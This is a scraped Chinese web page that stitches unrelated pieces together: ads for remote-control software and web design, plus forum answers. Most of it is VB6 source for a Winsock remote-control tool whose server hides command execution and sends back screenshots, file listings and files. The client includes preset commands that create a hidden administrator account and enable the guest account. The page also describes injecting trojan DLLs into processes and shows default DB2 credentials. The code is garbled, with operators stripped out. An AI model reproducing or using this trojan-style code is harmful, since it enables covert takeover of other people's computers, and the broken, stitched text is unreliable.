借用目前国内外最流行的远程控制软件平台，比如网络人远程控制软件，无需做端口映射即可穿透任何内网，对局域网内的任意电脑进行远程控制、屏幕监控、视频监控、文件管理、系统进程观察等等操作;是远程服务器高效管理的必备工具。点此下载免费使用。
站在用户的角度思考问题，与客户深入沟通，找到建始网站设计与建始网站推广的解决方案，凭借多年的经验，让设计与互联网技术结合，创造个性化、用户体验好的作品，建站类型包括：网站设计、成都网站制作、企业官网、英文网站、手机端网站、网站推广、域名注册、虚拟主机、企业邮箱。业务覆盖建始地区。
2
有服务器上操作系统的账号、密码以及该服务器的ip地址。如果是管理员组的账号，可以考虑用telnet登陆该服务器，条件是该服务器开telnet服务。在cmd下，用命令操作。
其实很简单 就是一个 wisock 控件
下面是说明
用wisock控件做，必须知道一方的IP，如被控制方IP。
被控制方程序：
Private Sub Form_Load()
Winsock1.LocalPort = 2555
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock2(i).Accept requestID
End Sub
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strtmp As String
Winsock2(Index).GetData strtmp
'判断strtmp，是指定内容，就执行相关代码。略
End Sub
控制方程序：（假设对方IP是222.222.222.222）
Private Sub Command1_Click()
Dim strtmp As String
strtmp = Text1
While Winsock1.State 7
DoEvents
Wend
Winsock1.SendData strtmp
End Sub
Private Sub Form_Load()
Winsock1.Connect "222.222.222.222", 2555
End Sub 附件： 我的源代码
--------------服务端
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const theScreen = 1
Const theForm = 0
Dim filetypes As String
'查找第一个文件的API
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
'查找下一个文件的API
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
'获取文件属性的API
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
'关闭查找文件的API
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
'以下为调用浏览文件夹窗口的API
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
'常量
Const MAX_PATH = 260
Const MAXDWORD = HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = H20
Const FILE_ATTRIBUTE_DIRECTORY = H10
Const FILE_ATTRIBUTE_HIDDEN = H2
Const FILE_ATTRIBUTE_NORMAL = H80
Const FILE_ATTRIBUTE_READONLY = H1
Const FILE_ATTRIBUTE_SYSTEM = H4
Const FILE_ATTRIBUTE_TEMPORARY = H100
Const BIF_RETURNONLYFSDIRS = 1
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
'定义类(用于查找文件)
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
'定义类(用于浏览文件夹窗口)
Private Type BrowseInfo
hWndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
'自定义函数
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
'自定义函数
Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _
DirCount As Integer)
SearchStr = "*.*"
Dim wenjianmulu As String
Dim FileName As String ' 文件名
Dim DirName As String ' 子目录名
Dim dirNames() As String ' 目录数组
Dim nDir As Integer ' 当前路径的目录数
Dim i As Integer ' 循环计数器变量
Dim hSearch As Long ' 搜索句柄变量
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) "\" Then path = path "\"
'搜索子目录
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path "*", WFD)
If hSearch INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName ".") And (DirName "..") Then
If GetFileAttributes(path DirName) And FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD) '获取下一个子目录
Loop
Cont = FindClose(hSearch)
End If
' 遍历目录并累计文件总数
hSearch = FindFirstFile(path SearchStr, WFD)
Cont = True
If hSearch INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName ".") And (FileName "..") Then
FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow
FileCount = FileCount + 1
List1.AddItem path FileName Format(((WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow) / 1024, "#,###,###,##0") "k"
wenjianmulu = wenjianmulu + "llwjml" path FileName
End If
Cont = FindNextFile(hSearch, WFD) ' 获取下一个文件
Wend
Cont = FindClose(hSearch)
End If
'如果子目录存在则遍历之
Ws.SendData wenjianmulu
End Function
Private Sub Command2_Click()
Print Ws.State
End Sub
Private Sub Command3_Click()
Dim FileName As String
FileName = Trim(Text2.Text)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Sub
Private Sub Form_Load()
Ws.LocalPort = 7758
Ws.Listen
'传递文件类型
End Sub
Private Sub List1_DblClick()
MsgBox List1.Text
End Sub
Private Sub Ws_Close()
Ws.Close
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String
Ws.GetData tmp, vbString
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "msgbox"
MsgBox Mid(tmp, 7), vbOKOnly, "警告!"
Case "dakaiw"
Call FindFilesAPI(Mid(tmp, 7), "*.*", 1, 1)
Case "yunxin"
Shell Mid(tmp, 7), vbHide
Case "yuanpm"
'MsgBox Mid(tmp, 7)
Call keybd_event(vbKeySnapshot, theForm, 0, 0)
'若theForm改成theScreen则Copy整个Screen
DoEvents
Picture1.Picture = Clipboard.GetData(vbCFBitmap)
SavePic Picture1.Picture, "C:\\1.gif", ".gif"
Dim Buffer1() As Byte
Dim fLen1 As Long
Dim FPath1 As String
FPath1 = "C:\\1.gif"
fLen1 = FileLen(FPath1)
ReDim Buffer1(fLen1 - 1)
Open FPath1 For Binary As #3
Get #3, 1, Buffer1
Close #3
Ws.SendData Buffer1
Case "xiazai"
Dim FileName As String
FileName = Mid(tmp, 7)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Select
End Sub
Sub Command1_Click()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Dim iNull As Integer, lpIDList As Long, lResult As Long
Dim sPath As String, udtBI As BrowseInfo
With udtBI
'设置浏览窗口
.hWndOwner = Me.hWnd
'.lpszTitle = "浏览器的标题" '但我试了很多次都出错（出错码13）
'返回选中的目录
.ulFlags = BIF_RETURNONLYFSDIRS
End With
'调出浏览窗口
lpIDList = SHBrowseForFolder(udtBI)
'如果点击“取消”，则关闭浏览窗口
If lpIDList = 0 Then Exit Sub
If lpIDList Then
sPath = String$(MAX_PATH, 0)
'获取路径
SHGetPathFromIDList lpIDList, sPath
'释放内存
CoTaskMemFree lpIDList
iNull = InStr(sPath, vbNullChar)
If iNull Then
sPath = Left$(sPath, iNull - 1)
End If
End If
Screen.MousePointer = vbHourglass
'List1.Clear
SearchPath = sPath '选中的目录为搜索的起始路径
FindStr = filetypes '搜索所有类型的文件(此处可另作定义)
On Error Resume Next
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Text1.Text = "查找到的文件数：" NumFiles "个 " vbCrLf "查找的目录数：" _
NumDirs + 1 "个 " vbCrLf "文件大小总共为：" _
Format(FileSize, "#,###,###,##0") "字节"
Screen.MousePointer = vbDefault
'显示文件大小时，如果文件太多会出错，我想不出解决的办法
End Sub
--------客户端
Dim strFileName As String
Private Sub Command3_Click()
Wc.SendData "yunxin" Combo2.Text
End Sub
Private Sub Command5_Click() '下载文件
If Dir(strFileName) "" Then
Kill strFileName
End If
Wc.SendData "xiazai" List1.Text
strFileName = "c:\\" Right(List1.Text, 5)
End Sub
Private Sub Command6_Click()
If Dir(strFileName) "" Then
Kill strFileName
End If
strFileName = "C:\\chongwu123.gif"
Wc.SendData "yuanpm" "fffff"
If MsgBox("444", vbOKCancel) = 2 Then
End If
Form2.Show
End Sub
Private Sub Form_Load()
strFileName = InputBox("baocun", , "C:\\chongwu123.gif")
Wc.RemoteHost = "127.0.0.1" '远程IP地址
Wc.RemotePort = 7758 '远程端口
Wc.Connect
Combo1.AddItem "C:\"
Combo1.AddItem "D:\"
Combo1.AddItem "E:\"
Combo1.AddItem "F:\"
Combo1.AddItem "G:\"
Combo1.AddItem "H:\"
Combo1.AddItem "C:\WINDOWS"
Combo1.AddItem "C:\WINDOWS\system32"
Combo1.AddItem "C:\Documents and Settings\All Users\「开始」菜单\程序\启动"
Combo1.AddItem "C:\Program Files"
Combo2.AddItem "cmd /c net user qyjack qyjack /add"
Combo2.AddItem "cmd /c net user qyjack /del"
Combo2.AddItem "cmd /c net user guest /active:yes"
Combo2.AddItem "cmd /c net localgroup administrators qyjack /add"
End Sub
Private Sub Wc_ConnectionRequest(ByVal requestID As Long)
If Wc.State sckClosed Then Wc.Close
Wc.Accept requestID
End Sub
Private Sub Command1_Click() '打开目录
If Dir(strFileName) "" Then
Kill strFileName
End If
Dim str As String, str1 As String
str1 = Trim(Combo1.Text)
str = "dakaiw" str1
Wc.SendData str
End Sub
Private Sub List1_DblClick()
If Dir(strFileName) "" Then
Kill strFileName
End If
Wc.SendData "dakaiw" List1.Text
End Sub
Private Sub Command2_Click() '发送消息
Dim str As String, str1 As String
str1 = Trim(Text2.Text)
str = "msgbox" str1
Wc.SendData str
End Sub
Private Sub Wc_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String, b() As String, i As Integer
Dim Buffer() As Byte
ReDim Buffer(bytesTotal)
'Wc.GetData tmp, vbString
Wc.GetData Buffer
Dim getLen As Long
Open strFileName For Binary As #1
getLen = LOF(1)
Put #1, getLen + 1, Buffer
Close #1
Open strFileName For Input As #2
Input #2, tmp
Close #2
Text5 = tmp
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "llwjml"
List1.Clear
b() = Split(tmp, "llwjml")
For i = 1 To UBound(b, 1)
List1.AddItem b(i)
Next i
Case Else
End Select
End Sub
首先来了解远程线程注入远程线程插入（注入）技术指的是通过在另一个进程中创建远程线程的方法进入目标进程的内存地址空间。将木马程序以DLL的形式实现后，需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间，即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL，从而实现木马对系统的侵害。 这种技术一般用于外挂 当外挂注入到游戏中时 你的电脑也就中啦木马 一般的解决方法 wmiprvse.exe是一个系统服务的进程，你可以结束任务，进程自然消失。 禁用Windows Management Instrumentation Driver Extensions服务或者改为手动 具体：桌面-我的电脑-管理-服务和应用程序-服务 里面有个Windows Management Instrumentation 右键—禁用就可以了. 我也用过，感觉第二种方法较好。 解除命令方法：同样操作复制下边的命[1][2][3]令粘贴输入，回车确定。即可、 reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiprvse.exe” /f希望会帮到你
1：连接远程电脑，这个技能你能处理不？
1.1：不能处理，那么想问下，连接远程电脑是怎么样方式，使用telnet?还是什么？你要连接人家的电脑，肯定对方要开放端口，或者提供服务。比如sqlserver，你连接远程电脑上的sqlserver服务。
1.1.1举个例子，你使用telnet连接对方的电脑，要求对方是提供并使telnet服务可用的，那么你先向对方发送一个请求，对方电脑会回复你提示是否可以正常通信。正常情况下，对方电脑要求你输入用户名和密码。如果两者正常，那么提示你登录成功。
1.2：如果连接远程电脑，你可以解决，不用考虑，那么楼主你是想实现以后可以不用再输入用户名和密码就可以直接登录是不？
2：处理登录一次成功后，以后不用再次输入用户名和密码
2.1其实说到底，以后不用再次输入，那么就是让程序实现自动输入用户名和密码，不用你去输入，是不？
2.2你在第一次登录成功后，就应该把对方电脑的名称（或者地址），包括用户名和密码保存起来。下次程序自动去判断，当前操作的是不是曾经登录成功过的电脑。用保存起来的用户名和密码进行自动登录。
2.3延深开来。登录时，作下确认是否需要进行下次自动登录，需要的情况下，保存相关2.2的信息。
2.4再延深，你可以设置保存的信息多久失效，比如15天之间没有使用过的情况下，连接电脑时要求重新输入用户名和密码。（此时，需要在每次登录成功后，都在2.2的信息上，记录下最后一次登录的时间）
如果要程序直接连接DB2数据库，必须要有连接数据库的驱动程序，连接的代码，你可以参考如下（以前用C#写的，你改成VB.NET即可，ODBC连接对象）
public OdbcConnection Db2Conn()
{
string str = "DRIVER=IBM DB2 ODBC DRIVER;UID=db2admin;PWD=db2admin;AUTHENTICATION=SERVER;PORT=50000;HOSTNAME=192.168.100.98;PROTOCOL=TCPIP;DATABASE=YCDATA";
OdbcConnection Conn = new OdbcConnection(str);
return Conn;
}
如果你是开发桌面程序而又不想在客户端安装数据库的驱动程序，那么你可以采用web网站（含webservice）或者remoting方式，只需要在服务端安装驱动即可
重庆分公司
重庆分公司
